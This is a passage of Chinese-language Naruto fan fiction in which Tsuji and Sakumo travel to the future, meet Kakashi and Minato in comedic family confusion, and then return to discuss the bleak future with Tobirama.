“能够在木叶村和涡潮隐村之间自由地行动,我已经感到十分幸福了。”用爱弥合伤口的女人温柔的抚摸千弥的发顶,“小千弥的陪伴也是,让我感到幸福哟~”
“如果能有这样的机会就好了,我好想看到水户大人获得自由的样子。”千弥的声音闷闷的。
欧多桑的故事里,无论是海军还是海贼,每一个追求自由的灵魂都唱响了一曲震撼人心的乐章。
会很多强大的封印术的漩涡水户是千弥见过的除了族长以外最厉害的漩涡。
如果对方没有成为九尾的人柱力、没有自困于村与村之间,在那个与当下迥异的未来里,水户大人是否会同她红玫瑰般热烈的发色一样随风起舞呢?那将会是何等的漂亮又饱含锋芒的壮丽景象啊……
“睡着了啊。”把千弥抱到床上的水户理顺女孩凌乱的发丝,“做个好梦,小千弥。”
……
11. 可怕的未来正追着旗木朔茂杀
“阵容真是豪华啊,这个小队~”
从看到站在门口整装待发的朔茂那刻起,辻就在心里叹气,再看到赶过来的宇智波镜,辻已经沉下了肩膀,认命地垂下脑袋。
千手扉间竟然安排了三个上忍组队……他们看着很像骡子吗?风暴啊,请来得小一些吧!
“3B。”辻有些无奈,他只是想出村溜达两圈,但眼下这情况一时半会儿似乎回不来了。
“2个A级任务。”旗木朔茂把自己的任务卷轴递到辻的面前。
“……4个。”气氛似乎有些微妙,宇智波镜掏出忍具包里的卷轴,交给队长,“1个B级,2个A级,还有1个S级。”
“深受火影大人的信任和器重呢,镜。”一目十行地看完了卷轴,掏出地图规划路线的辻咬牙感叹。
“哪里哪里……”受宠若惊地摆摆手,得到了扉间大人的参谋高度评价的宇智波深受鼓舞地将手握成拳靠在胸前,“这都是我作为木叶忍者应该做的!”
一只村性恋、性格敦厚还不剑走偏锋的宇智波,难怪扉间这么中意。
“任务中的辻大人和平时相比简直判若两人。”
穿梭在林间,同旗木朔茂一并前往最后一处任务地点执行护卫任务的宇智波镜想到每次都能提前到达集合点并拿着热气腾腾的吃食等待自己和朔茂的可靠男人,心中满是敬意。
在执行这些连环任务的途中,他们完完全全地被辻大人照顾了,不论是任务方面还是后勤保障。
宇智波镜印象里那些带着无厘头的浅交、二三村民口中关于古蹊辻的“风言风雨”在不断加深的合作过程中全部化作了手执利刃,劈波斩浪,如高山般沉稳的背影。
“等楼兰女王的就任仪式结束,辻大人他马上就会原形毕露的。”
有着丰富的同古蹊辻相处经验的旗木朔茂想到什么无奈地叹气,“好好珍惜这最后的时光吧,镜前辈。之后,请务必帮我一起看好辻大人。绝对、绝对不能让他一个人乱跑。”
回去的路上,没准一个眨眼或是错身,辻大人就“迷失”在了不知名的热闹城镇、村庄!
“乱跑?”
宇智波镜表情变得古怪,微垂的狗狗眼化作了两粒黑亮亮的豆子——
这是用来形容一个成熟的、身经百战的木叶上忍的词汇吗?
如果辻大人真的做出了朔茂所说的那些事,那般反常的举动是否蕴含着他所不知的深意呢?
“回程路上一定要打起精神,比做任务时更集中、更专注!”
“你太紧张了,朔茂。人是会随着时间变化和成长的。”拿出前辈的架势,宇智波镜反过来语重心长地安慰这个如临大敌的后辈。
人确实会成长,正如驯养海鸥做通灵兽的辻大人也可以成长为出色的训犬大师。
少年想到自己那群各个自称是“养千弥高手”还要争个高低的忍犬们,沉默地不做评价。心脏砰砰地跳,旗木朔茂愈发不安了。
“据说楼兰国存在蕴含着巨大查克拉的名为龙脉的力量。”
双手抱胸站在阴影里,辻看着不远处正在吟唱咒语的王女,“大地在震动,是与地脉产生了共鸣吗?”
辻感知到了一股巨大的、能够顷刻间将地面上的一切摧毁的力量不停地翻腾、涌动,有一刹那,泽法老师的身影在他脑海中闪过。
进入这个书中时空是否是命运是对自己不自量力的无情嘲讽?
“仪式似乎结束了。”
臣民们的欢呼声渐弱,看到沿着地脉的那股查克拉再度蛰伏下去,宇智波镜眼中的勾玉消失,站得笔挺等待辻的指示。
“我们也走吧,去找先代女王取信印,然后回村。”沉默深思了许久,在说话的瞬间意识到自己的语气过于沉重,男人身体一歪从墙边滑落抱怨道,“好累好累!”
……
“已经不想走了~”这句话,古蹊辻说得真心实意。
精神一松懈,疲惫感就如浪潮般不断地反涌。
他深深敬重着的泽法老师啊……帅气地选择了孤身独行,壮烈地走完了自己的一生。试图扰乱那曲悲歌的他是否违背了老师的意志?
“请再坚持一下。”旗木朔茂走在辻的身侧熟练地应付道。
“等等!”还没走出楼兰国的辻表情凝重地回望身后王所居住的高塔,手指甫一触地就冲着走在前面的镜高声大喊,“镜!”
三人的周身闪耀着从地下涌现出的查克拉光芒,抓住了离得最近的旗木朔茂,与飞速回退过来的宇智波握了个空的辻失去重心猛地向前扑去。
真是的,那位楼兰的先代女王似乎也不是什么教育大家。新女王是把蕴含了强大力量的咒语当歌唱吗?
……
“未来?或是平行时空?”和旗木朔茂在疑似人去楼空的楼兰国搜查一圈的辻躺在地上,滚了一圈,“镜去哪了啊?!不会没和我们在一个时空吧?”
茫茫沙漠他完全感知不到……嗯?木叶的方向……这是……
支起腿坐起来的辻长叹,“到哪都有战争啊。”
……
“你应该已经死了——为什么?”带着不甘,魔蛭吐着血沫丧失了生息。
旗木卡卡西看着出现在岩忍身后帮他解决了一场生死危机的木叶忍者,谨慎地反手握住背后的白牙短刀。
金色身影帮带土解决麻烦后瞬身挡在弟子身前。
“辻……大人。”认出了来人的身份,波风水门原本凌厉的蓝眼不可置信地睁成了圆圆的猫瞳。
“水门老师?”是认识的人吗?
旗木卡卡西看到有什么亮晶晶的东西在老师眼角一闪而过。
老师在流泪?这不可能。是他汗水落进了眼睛,看花了眼。
“你谁啊?算了,既然认识我的话,现在是木叶多少年?在位火影是谁?古蹊千弥在哪里?”
从对方充满悔恨与自责的表情里意识到什么的古蹊辻沉默地转过身。
感知到旗木朔茂的位置,带着一身的杀气走进战场的辻看着敌对的岩忍道,“我现在的心情很不好,再不撤退的话,就都留下来吧。”
下一秒,霸王色霸气席卷战场,大地沉吟,草木湮灭,黑红色的闪电在一棵棵拔根而起的大树上留下道道深疮,木叶与岩忍的攻防形势转瞬逆转。
“辻大人?”
“让他们去补刀。”
“是!”
回到战场,无条件地听从辻的指令,旗木朔茂转头向木叶忍者传令,说完也不再管未来的木叶村同伴,径自穿梭于岩忍之间。
“这个世界简直糟透了。”
“是发生什么了吗?”收割性命归来的旗木朔茂担忧地看向身边气息不稳的古蹊辻,对自己被敌友两方冠以“亡者”、“白色幽灵”之名反而充耳不闻。
“简单形容的话,大概就是包括我自己在内,我在意的人们都不在了吧。”古蹊辻想不明白,未来怎么会发展成这般模样,但面对地上染血的焦土时,一切似乎又都说得通了。
“简直像噩梦一样。”找了一块儿干净点的地方,坐在断木上的旗木朔茂看着手心里带着一束绿芽的断枝,声音轻得像是怕惊扰到什么。
有认识古蹊辻的老忍者,也有认识旗木朔茂的后辈,但没人敢走上前同这两只“亡魂”搭话。
“辻大人,旗木前辈。”
带着学生们匆匆赶来的波风水门没等开口,就被更受眼前一幕刺激的旗木卡卡西打断——
“父亲!”
“父亲……是指我吗?”成熟的少年侧过头,难得地像个孩子一样无助地看向辻。可对方不知何时合上了眼,双手搭在脑后枕着断木假寐。甚至很坏心眼地呼噜噜地打假呼噜。
“你的名字是旗木朔茂对吧!”爱与怨交织,旗木卡卡西强忍着落泪的心情,看向这个没有与他生活经历的年轻版的父亲。
辻大人,请快来帮帮他。旗木朔茂感觉自己的目光灼热得堪比灼遁,可是皮糙肉厚的男人仍不为所动。
“呼噜噜~~~”
眼见求救无门,旗木朔茂只好硬着头皮接话,“我是叫这个名字。”
执行一次护卫任务喜提好大儿的旗木朔茂握着手里的白牙,不知如何是好。
也许换他的忍犬们
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来代替自己,反而能更好地处理当下的场面。毕竟它们有一个算一个全都自称有十分丰富的与孩子相处的经验。
“我的父亲叫旗木朔茂,母亲叫千(せん)或者千弥(チヤミ),虽然我没有见过她,但如果是父亲你的话一定认识吧。”
还在自证身份的旗木卡卡西不知道自己抛下了一枚有着何等威力的炸弹,目光灼灼地盯着眼前这个只比自己大了些许年岁的年轻的父亲。
旗木卡卡西没注意到,自己的老师同样因为自己的话“Boom”地经历了一场瞳孔地震,如天空般澄蓝的目光悲伤地落在自己的身上。站在波风水门身后的带土和琳对视一眼,沉默地竖起耳朵。
这下,旗木朔茂是真的炸毛了。
“辻大人!请快点过来帮帮我!求您了!”
自己未来真的堕落了!!!真是可怕的未来!!!
“这个时候就不要假装睡觉了,您不是千弥的父亲吗!”
沉稳的气质碎成了渣渣,双手在辻身上推出残影的白发少年崩溃大喊。
“这种时候应该是你向我解释,朔茂kun。”
像面团一样被来回推揉的男人无奈地睁开眼看着旗木朔茂,“再不济这小子也该姓古蹊吧?我们家的家训你忘了吗?就算是三代还宗,这也才第二代呢。”
“您在胡说什么呢辻大人!”想找个靠谱的大人依靠,不料被火上浇油的旗木朔茂嗓子都要劈叉了,“虽然、这个少年,可是、可是我还是觉得不可能啊!”
到底变成了多么卑劣的大人啊,未来的自己!
“您对我说过无数次,您是爱着我的,母亲也会如此。”不被年轻版父亲承认的卡卡西冷漠地添乱。
他说不清自己想在这个父亲身上寻找什么,但对方这副崩溃到无以复加的模样让他很不爽。
“可千弥才3岁!”旗木朔茂风度尽失。
旗木卡卡西抱着胸惊讶地睁大眼睛——难怪父亲很少提及母亲的事,说到母亲也只是不断地说他们都很爱他,像是告诉他,也像是告诉自己。
“4岁了。”抱着胸的古蹊辻严谨地指正道。
“这不重要!”旗木朔茂像一只烧干了水的水壶。
“这很重要。”古蹊辻稳健地像块干冰。
“还是请您先安静一会吧。”
“明明是你求我醒过来的,现在却让我安静,唉~还真是拿你没办法啊。好善变,朔茂kun~”
把头狠狠地撞进膝盖里,磕红了额头的白发少年世界观缓慢重组。
“卡卡西。”手覆在弟子头顶,收拾好心情的波风水门扬起一抹温柔的笑意,嘴角弯弯的弧度像极了千弥,“请问你介意让我做你的继父吗?”
“对了,辻大人,初次见面,我是波风水门。是您为千弥寻找的超划算0元购便宜好用居家必备业务水平一流的婿养子。”顶着一头狮子一样毛茸茸看起来无比蓬松的金发,波风水门微笑着自我介绍。
“哦啊~看着长成不错的大人了,水门。”
“是!目前我正在以火影为目标不断努力。”
“火影啊,会很辛苦的,要做好觉悟哦!”
“是!”
“明明是初次见面,为什么表现得这么熟稔啊?!”
没等完全接受现实就先一步遇到了试图无竞争上岗、顶替自己地位的替身忍者,旗木朔茂怀疑自己进入了可怕的幻术,身边的查克拉不要钱似的往外溢散。
“还没接受现实吗?你的承受能力未免太脆弱了,朔茂kun。”古蹊辻叹气,挥散迸到身边的蓝色的查克拉,末了还戏感十足,悲悯地摇了摇头。
“是您的神经太粗了。”旗木朔茂只觉得这个世界假得可怕。
在同海未大人交流后,他得空去火之国的火之寺收了很多修心养性的经文。难道未来的自己看书看得触底反弹,反而激发出潜藏在心底的恶魔了吗?
在现在的他眼里,这些经书确实是磨练心性、修炼刀法不可多得的名著啊!
问题来了,那些书还能留着吗?!
现在的自己已经腐败到何种地步了呢?
12. 迷雾重重的未来
未来充满了疑点。
无论是千手扉间在战后忽然退位,还是三代出手压下千弥的死因,亦或是旗木卡卡西那小子的身份,总之全部都充满了谜团。
搞什么啊,木叶什么时候变成了雾隐村?
辻看着不远处正和前线同伴交换情报的便宜婿养子出神。二代时期的事水门年龄尚小,不了解内情也情有可原,但这小子情报搜集能力的发掘空间未免太大了。
“木叶的人手已经紧缺到这个地步,连下忍都派出来接这种危险任务了吗?”看着波风水门给三个弟子安排任务,辻语气夸张地惊叹。
“其他前辈们此刻正在别的战场作战。”波风水门正要介绍当下木叶的战况,就被带土打断。
“这个年轻老爷爷你说谁是下忍啊!可恶!”他可是好不容易才顺利通过考核,晋升成为中忍的!被琳从后面抱住仍倔强地跺脚抗议的宇智波带土手臂像螃蟹一样不断挥舞。
“被戳到痛处了吗?像蒸屉里的螃蟹一样呢。咚咚嘭~”辻模仿带土手臂的动作,两根手指化作蟹钳不停地开开合合。
“你们三个,医疗忍者除外,你们两个,三、流、中、忍~医疗忍者在战场上往往是敌人击杀的优先目标,小油彩也要锻炼出自保能力,努力向纲手看齐,不然会很危险的。”
辻语气恶劣地着说出让带土羞愤交加的话,“我可是都看到了哦,战场上发抖的小宇智波还有榆木脑袋没有应变力的小旗木。”
“绝对会死的。”躺回去的辻不再搭理一旁聒噪的炸毛蛐蛐。
波风水门按住还要反驳的带土,拜托琳将人带走,苦笑着接受批评。
“总之,无论辻大人回去后准备做什么,请务必告诉17岁的我,一定不要在那一年随着自来也老师去妙木山修行。”
“不为自己的时空担心吗?站在你面前的可是疑似将要导致世界剧变的魔鬼哦!”辻懒懒地看着远处来来往往的忍者,视线却没有焦点,情报还是太少了。
【书中世界】的过去对未来的影响究竟是线性覆盖还是像真正的文学创作那样衍生出两种不同的分支?他完全不知道。
谁来给他一个贝加庞克啊!科学家、科学家……没有贝加庞克,等回去之后就好好麻烦扉间吧!飞雷神不就是与空间相关的时空间忍术吗!
“不,我已经做好了觉悟。”波风水门眸光闪烁,豁然道,“如果辻大人和朔茂前辈回去后能够改变那个糟糕的过去,即使我们的世界悄然湮灭于时空也不要紧。因为一定会有一个更好的未来将我们替代。”
“倘若我们的世界不幸成为了被大树遗忘的一截枯枝,我也会拼尽全力直到生命的最后一秒,然后在净土与千弥、与大家重逢。”
他会当上第四代火影,然后把在任期间木叶村发生的所有变革和有趣的故事全部一字不落地讲给千弥听。约定好了。
“真是乐观呢。”辻看着对方指尖捻出的绿色汁液叹气,扬声道,“大旗木和小旗木你们呢?你老爸看着不想要你咯,小稻草人不考虑一下这位优秀的继父吗?”
被疑似爷爷或是祖父的人批评,原本认真反思不足的旗木卡卡西闻言猛地扭头看向父亲。
旗木朔茂则是迅速把头埋进胸前做鸵鸟状。
是扼杀卡卡西出生的可能性还是和千弥结婚……无论选择哪一个未来对现在的他而言都太超过了,他的良心在打架。
未来的自己是被狗啃了脑子吗?旗木朔茂逃避地心想——如果不是自己而是镜前辈和辻大人一起来这个世界就好了。
“竟然还在逃避吗?”辻起身拍拍身上的草屑走到旗木鸵鸟身前,惊奇地俯下身仔细看清情况后又无奈地安慰道,“你的选择都有意义。”
“呜……”
眼眶通红的旗木朔茂刚抬起头,便被身量纤细的少年卡卡西强行霸占了全部视野。
“帕克说母亲曾把父亲当成神明,要是敢因为惧怕未来这种无理的理由,随便找个人结婚生子……”
被儿子(未来版)居高临下地俯视的旗木朔茂:他已经不敢结婚了。未来、好可怕……
父亲年轻时竟是这幅没出息的模样吗?
刚刚的话连威胁都算不上,竟然做出这种反应。双手叉腰的卡卡西斜着眼,使用出敬语消失术,“你说过你很爱很爱母亲。”
特别着重强调的音节让旗木朔茂听后未被扎起来的零碎散发像烧焦了似的打卷。这竟然是未来的旗木朔茂说出的话!他觉得自己裂成了两半。一半在脑中大喊仁义道德,另一半则是在痛斥未来的自己。
“哦呀~很爱很爱吗?”手已经插兜里的辻站在卡卡西身边,同样居高临下地俯视,只是腔调远没有卡卡西严肃正经,玩味百分百,“人不可貌相呢,朔茂kun,没想到男大也会十八变。”
“呜……”
挣扎一下的旗木朔茂抬头想辩解什么,但在看到辻身边活生生的铁证后,所有未说出口的言语化作了一声痛苦的呻吟。
“我说了哦,你的选择都有意义。”
旗木朔茂用力攥着膝盖上的布料,嗫嚅低语,“哪怕千弥……”
没见过千弥的卡卡西……他心中有一个糟糕至极的猜想。
看着站姿像松柏一样挺拔的小旗木,辻冷声道,“我不会干涉千弥的决定,我想做的也不是扼杀生命。如果真是这个原因,你应该已经有挽救未来的觉悟了。”
事实上,他直觉情况绝不会这么简单。否则三代完全没有理由去遮掩千弥的信息。
“要替我保护好千弥啊。”
趁人陷入混乱张口就开始坑人,顺带着给千弥上保险的辻用力拍打旗木朔茂的肩膀把老实人带进漩涡,“别小看水门哦,哪怕结婚了也要小心未来被离婚。”
波风水门听到自己的名字,抬头扬起一抹微笑。
未婚甚至连恋爱史都一片空白却要面对强大“情敌”的旗木朔茂:“……”
看看辻又看看父亲再看看水门老师,旗木卡卡西十分自然地站在了父亲的对立面,“遇事不决,缺乏决断力,还没有开战就疑似缴械投降,您在竞争者中唯一的优势大概就是能父凭子贵了。”
被儿子(未来版)指责只能“凭子上位”的旗木朔茂捂着肚子,说不清具体哪一处在抽痛,“事实上,我做饭也……”
“水门老师的厨艺也很好。”卡卡西冷酷地打断父亲的话。
“我可是和千弥一起生活了十几年的优秀煮夫。”波风水门走上前骄傲地为自己的厨艺水平佐证。
现在的年轻后辈压迫感好强。
老实人嘴唇嗫嚅,不再说话。
他的优点……他似乎没有优点。不仅如此,年龄还大。
只是想想,旗木朔茂身后的背景板就长出了一串串忧郁的黑线。
“看上去被打击得体无完肤呢。”辻感叹。
“到时间了。”感觉到自己的身体虚化了一秒,辻按住旗木朔茂的肩膀,正色道,“别走散了。”
“违抗命令、让自己身负重伤,只为了带回死去同伴的尸体,这样做值得吗?”
大步走上前的旗木卡卡西死死地盯着因为自己的问题有些呆愣的旗木朔茂。
旗木朔茂一时无言,未来的自己和现在的自己差别太大了,但如果是现在的他——
“未来一定是发生了什么事改变了我吧。对不起,哪怕同为一个人,我也无法认同未来的旗木朔茂这样的做法。现在的我认为活下去并保护更多活着的同伴更重要。”
“如果有机会,未来的我观念发生变化时,我会记得向你解释的。”迅速拥抱住泪流不止的旗木卡卡西,旗木朔茂收回手再次变成鸵鸟。
“有人刚刚说出了很像样的话呢。嘛~虽然只争气了短短几秒。”
身体泛着光的辻看着眼前的师徒二人笑着落下一句祝福,同旗木朔茂消失在原地。
“过去如果改变了,我们的世界会变成什么样呢?水门老师
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。”见过了少年时期的父亲,他忽然很怀疑自己还能不能出生。
“不知道。不过当下才是最重要的,就把这当做一场奇遇吧,卡卡西。”波风水门看着旗木卡卡西,“要和我一起生活吗?有关千弥的事,我这边有好多故事可以讲给你听。”
“关于那个婿、婿……"旗木卡卡西实在说不出口,考虑到父亲、母亲还有老师的年龄,他莫名地生出一种自己的父亲……翘了老师墙角的感觉。父辈们的纠葛似乎远比他想象得要复杂。
“没错哦!”迎着旗木卡卡西因惊愕而睁大的黑黝黝的眼睛,波风水门一脸坦荡,“玖辛奈也可以作证。虽然她一直不肯承认我的身份。好狡猾啊,仗着同族的关系,一直认为自己和千弥的关系更亲近。”
关于母亲的事,旗木卡卡西大多是从忍犬们口中得知的。他曾忍不住询问父亲,但在夜间看到过悄悄地背着自己无声流泪的脆弱身影后好奇的次数就少了。
“听起来,母亲似乎很受欢迎。”旗木卡卡西斟酌着做出评价。
“事实上,千弥受欢迎到让……我感到苦恼。”挠挠头发的波风水门干笑两声。
在忍者学校,无论是体术练习,还是跨年级的联合演习都完完全全被针对了,他根本没机会和千弥组队!
至于毕业后不同下忍小队执行合作任务……那个时候第二次忍界大战爆发了,更没有了机会。不仅如此,千弥还比自己早一届毕业,更早成为中忍、提拔成为上忍……
“说起来,千弥和卡卡西完全不一样,但某些方面又完全一样呢。”波风水门看着夜空一闪而逝的流星感叹。
坐在草地上的卡卡西闻言抬头。
“千弥11岁就晋升成为了上忍哦,比卡卡西还早,也是大家口中的天才。但与此同时,忍者学校文化课有史以来的最低分也是千弥创下的。”
“最低分?!”旗木卡卡西大惊失色,文化课那些题目不是写了就给分吗?
“传说中的60.5就是千弥。”时隔十数年的往事被重提,波风水门忽然发现那些记忆清晰得恍如昨日。
为了让千弥顺利提前毕业,老师们可是赤红着眼、咬紧牙关才勉强地给写满了宇智波柱间、猿飞斑、千手鸢喇嘛和其他排列组合得出的乱七八糟名字的空格一半分,至于那些看了让人血压飙升的开放题则是掐着合格线给出了相应的分数。
以四舍五入计分规则给出古蹊千弥高达60.5的低分是木叶忍者学校教师们最后的反抗。
“那个据说是靠走后门才顺利毕业的老师们口中的传说中的压分王竟然是那么厉害的人?!”不小心踩了一脚泥团,一路滑跪到老师身前的宇智波带土耳尖通红地把脸埋进地里。
“我看走后门的是你吧。”双手抱臂的死鱼眼卡卡西堂堂登场!
“千弥很有趣吧,当初可是让文化课老师们超级苦恼的No.1。不过,我听闻带土也成功后来者居上了哦!相当厉害呢~”
“那种成功我才不要呢!”被鄙视的宇智波把插进地里的脑袋拔出来,顶着一头的泥大声反驳。
水门老师……是腹黑呢。双手搭在膝上安静地听故事的琳仿佛看穿了一切。
……
“我们是回来了没错,但镜呢?”
大漠上的风吹过,古蹊辻和旗木朔茂望着漫天繁星,相顾无言。
“朔茂!辻大人!”宇智波镜恍如隔世般看着正在不远处忙着安营扎寨的两人,看清了周围后瞬身到两人身畔,“好久不见!”
“好久……你的经历似乎相当丰富多彩啊。”注意到镜的用语,辻递出烤得热乎乎还泛着焦香的馍。
“多谢。”宇智波镜接过食物,微笑道,“这是一场永生难忘的旅行。”
“是吗?总之欢迎回来哦,镜!”
“我回来了!辻大人!”
旗木朔茂:……
总感觉那两个人融洽的过分,错觉吗?前辈的性格似乎开朗了不少。
13. 通往未来的第一步
“辻大人呢?”
一觉起来发现队伍里最容易“走丢”的前辈不见了是什么感受?
和躺在睡袋里刚睁开眼的宇智波镜面面相觑,旗木朔茂心头涌现出熟悉的无力感。好在下一秒,消失的人自己先有了回应——
“我回来——诶?你们两个一大早就这么精神?”
目光炯炯有神像猫头鹰似的,不过……他看起来很像肉吗?为什么都用这种眼神看着他?
“您还在就好。”旗木朔茂放下心,再晚一会儿他就要考虑通灵忍犬了。
“你们是离不开大人的小宝宝吗?”辻摆出一副“拿你们没办法”的苦恼模样,踢了踢从帐篷缝隙钻进来的细沙,“起床后直接回村了哦,孩子们~”
比起因为辻的称呼陷入迷之怔愣的大娃镜,二娃朔茂显然沉稳许多,甚至十分务实地开始收拾行李。
……
“呐呐~扉间,火影不是终身责任制吧?你什么时候卸任?”
汇报完任务,给自己拉来一张椅子大大咧咧地反坐在千手扉间对面,古蹊辻认真地盯着二代目火影大人那双工作时冷峻到近乎无情的双眼。
背景板中,还没离开火影室的旗木朔茂和宇智波镜你推我我推你,几乎是挤着仓皇地出了门。
辻还需要忍族和村民进一步的认可。
持笔思考两秒的千手扉间看着自己这位来自漩涡的副手,语气淡然,“现在推选你做第三代候选人会面临一些障碍,不过以你的能力……对你而言应该也算不上麻烦。但最好还是要等到村子稳定下来,进入发展期……”
“不对,你想什么危险的东西呢?!”差点从椅子上栽下来的辻在一阵剧烈的晃动中稳住身形,“我想问的是你会在什么情况下考虑卸任。”
他脑子坏了还是想不开了?
做火影还不如去做清洁火影颜岩的看守呢!
“当然是选出了值得托付村子和未来的后辈。”千手扉间放下笔,几个张脸迅速从脑海中闪过,但最终还是定格在了眼前之人身上。
知识、心性、品行、格局……除了出身于漩涡一族、入赘木叶这一点可能会受人攻讦,辻连年龄都很合适。
“你别这么看我!”辻被千手扉间“慈爱”的眼神盯得浑身发毛,“在执行楼兰的护卫任务过程中,我和朔茂短暂前往了未来。”
“未来的我卸任了。”千手扉间恍然,“但你不能理解我的行为。”
“据说你从云隐村参加结盟仪式回来后没多久就撂摊子不干了。”这才是让古蹊辻始终想不通的地方。
五大隐村的第二代影虽然走的基本都是科技风、智将和阴谋家路线,但总不至于连影的代际都要保持一致吧?据他所知二代的土和水两位已经同归于尽了。某种意义上,也多亏这两位的牺牲,忍界大战的进程才得以跨越式加速。如果真搞这种代际对称,这个破世界剩下的风、火、雷三位很危险啊。
按照千手扉间的性格,战后正是木叶百废待兴的重要时刻,一天24小时他应该有25个小时在研究和规划木叶的发展方向。一个资深的村性恋晚期患者竟然选择把重建隐村的重任移交给后辈,急流勇退……
想到些什么的古蹊辻面上逐渐浮现出古怪之色,“你不会干了什么坏事被人拿捏了吧?”
“你闭嘴。”千手扉间被这个人不着调的猜想烦得太阳穴胀痛,“自己在脑子里想就够了,不要说出来影响我的思考。”
“除了安排暗部监视宇智波一族的动向,还有吗?禁术?人体实验?有时间怎么不发明我心心念念的コンピューター啊,还有最重要的文件处理系统,那可是提升办公效率的办公好物!”怀疑对方未来可能陷入政变漩涡的辻咚咚地撞了两下椅子。
“那都是一些必要的防范和研究。而且禁术都存在封印卷轴里了。”
“和谈…结盟……吗?按理说即使战争结束我也不可能这么快就放下村子。”千手扉间双手交叉搭在下巴上,“也许是发生了别的什么事。”
“你没问问与云隐村的结盟具体达成了哪些协定吗?”既然有同未来交流的机会总归该带回来一些有用的信息吧。这么想着,千手扉间一双丹凤眼看向火影室正中反坐在靠椅的男人身上。
“因为知道你已经去世了,所以我只问了二代和三代交接的时间,不过鉴于有民选环节能够确定权力是和平交接。”
“二代的死因呢?”千手扉间面无表情,好像话题中的死亡对象不是自己。
“既然知道是平稳过度还要关注死因吗?”辻瞪圆双眼。
当时他完全没有一丁点儿提前为千手扉间悼亡的想法,因为太过悲伤反而不敢触碰结局。
“你是笨蛋吗?”千手扉间的眉毛拧在了一起。
他上辈子是犯了什么大罪,这辈子要被这么多天然呆一个接一个地祸害。
“如果你也认为是非自然死亡的话……”辻露出一个明亮的笑容,“正好,我在过来汇报任务前帮你预定了木叶医院的身体检查,负责人是小纲哦,算算时间已经等了我们半个小时了。正好病痛也是其中一种可能~逐一排除吧~”
千手扉间:……
“走吧。”千手扉间一边叹声,一边起身拿起放在桌角写着“火”字的水蓝色斗笠。
“回来这一路我派影分身给你带了不少补身体的特产!身体才是革命的本钱啊,扉间!”
千手扉间按住眉心,低声道:“息声。”
“未来20年比我预想的还要糟糕,忍界大战又打了两轮,而且你死后没多久涡之国灭国了。”
走在前面的白发男人闻言停下脚步,和辻一道沉默地望着头顶那片海一样广阔的蓝天。没人比他们更清楚,为了防范那个未来,这些年的付出。从分配尾兽那一天,为涡潮隐村而鸣的丧钟就已经铸成,只是无声地、沉默地等待着一记重锤。
他们都低估了人性,渴望和平的人眼中看到的只有国力的再度平衡,简单的认为和平能够因相互制衡、掣肘而到来。
“不过我大概已经知道是怎么回事了。涡之国保住了大部分的有生力量。”阴霾一扫而空,辻露出一个爽朗的笑容,“不愧是未来的我!”
“千手扉间,你要活得久一点啊。”辻打了个哈欠,“你比你想象中还要重要。”
“知道了。”他要是活着,涡之国的危机也能延缓到来吧。
“很健康。”
拿着报告的纲手悬着的心平稳落地,呼地擦去因为等待报告结果而渗出来的冷汗。
“也许是未来哪天身体细胞发生了劣性的突变?”辻看着手里全在正常范围内的数值报告以及远超年龄的身体细胞活性水平评估,猜测道。
拿着报告的纲手闻言心又猛地悬了起来,顺带着瞪了辻一眼。
“不能排除这个可能性,但我还是觉得那场与云隐村的结盟比较可疑。”配合着做了一波检查的千手扉间头脑冷静,丝毫没被古蹊辻带偏。
“你考虑去情报部门实习吗?”千手扉间看着因为自己的一句话眼神乱飘,心虚得不像样的男人。
这个人的情报搜集能力简直是下忍水准。不想听就不问,简直是六道仙人级别的任性。
“我可不是最差的。”他还有一个一问三不知的婿养子兜底呢!
“那最差的得差成什么样啊。”听到辻的反驳,千手扉间悲哀地发现自己即使是死了恐怕也会为木叶的未来感到不安。
“是未来的四代目!一个叫波风水门的超——优秀的孩子,不仅如此,还继承了你的飞雷神。”
“是吗?”这可不是容易学成的术,千手扉间来了点兴趣。
“你那个病毒模型似的飞雷神mark被那孩子改造成了刻有‘忍爱之剑’字样的咒印。”回忆波风水门的飞雷神,辻锐评,“还用了特制的三叉苦无,总体有点花哨,但也闯出了威名。”
“哼~”双手抱胸的千手扉间撇嘴,听完辻的形容他觉得还是自己的飞雷神mark更大气。
宇智波小子怎么夸自家老师来着?
辻努力地回想,“忽略掉这样那样的溢美之词,总而言之是可以让敌对忍者见到直接放弃任务的存在。”
“那么那个名为水门的孩子呢,你准备提前找到并培养吗?我还活着,如果他能通过考验,我可以亲自传授他飞雷神。”
“那种事遇到再说啦,最重要的是你,你的首要任务是——”辻把手搭在千手扉间的肩上,用力按着对方硬邦邦的斜方肌,“先活十五年,然后再干至少三年的火影吧。”
“咔嚓——”医疗板被纲手捏得粉碎。
“啊……”
两个爷爷辈的人看着站在一旁红了眼睛的纲手,手足无措。
……
回到火影楼的千手扉间努力让自己忽视头上乱七八糟地缠着纱布的辻,集中精神思考时空理论,“我们走的每一步都在迈向未来。”
“你说怪力是漩涡那边的,还是千手那边的,还是阿纲独有的?为什么我们两个人在说话却只有我站着挨打?”
感觉自己有点脑震荡的辻回忆自己在漩涡一族的生活,对比着在木
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叶遇到的千手,“两边好像都有这种能力。我记得千手和漩涡还是远亲,这简直是最可怕的结合。”
听着人碎碎低语的千手扉间:“……”都这个时候了,认真思考未来啊!
“如果未来无法改变……”千手扉间认为他们需要做好最坏的打算,至少要让后辈们具备一定抵御危机的能力。
一如他将火影之位交给猴子,一如同辻在灭国之战中将漩涡一族的族人顺利转移。现在的他们时间更为充足,可以思考出更全面完备的对策。
“我想通过离已知的未来最近的扉间你的命运变化来观测未来是否可以被改变。在未来,不仅是你、我、海未还有朔茂和很多人,连小千也没有了。”
昨天还在漩涡之塔看到千弥、绳树和忍犬两人一犬各抱着一根能量棒磨牙晒太阳的千手扉间闭上眼,“原因呢?”
“我和海未在云隐、雾隐对涡之国的联合作战中牺牲了,朔茂不清楚但大概率和任务有关,小千的事大概只有三代知道,内情没有公布。”
千手扉间遇到了比结束忍战以及战后村建还要棘手的麻烦。
听到来自未来的消息,他很难还愿意坐下来同云隐村的影缔结什么同盟,甚至觉得木叶打得雾隐还不够疼。他的棺材板还没封牢实呢,那帮混蛋就迫不及待地对着别人的姻亲动手了!
“先别生气,快用你聪明的大脑快帮我分析。”把自己缠成砂隐忍者的辻坐回到千手扉间的对面。这种单是想想就令人感到无比痛苦的事他不想思考,还能保持冷静就已经用尽了全力,“为什么一村之影会动用权力掩盖一个忍者的死因?”
“身后影响力或死因异常。”
想到被千弥三拳打服、吊起来封印,如今已经以成为火影参谋为目标并致力于向千弥灌输火之意志的绳树,千手扉间胸口缓慢地起伏,“以千弥的性格,她在木叶新生代中的影响力必定远超常人。或许公布消息会造成……暴动。”
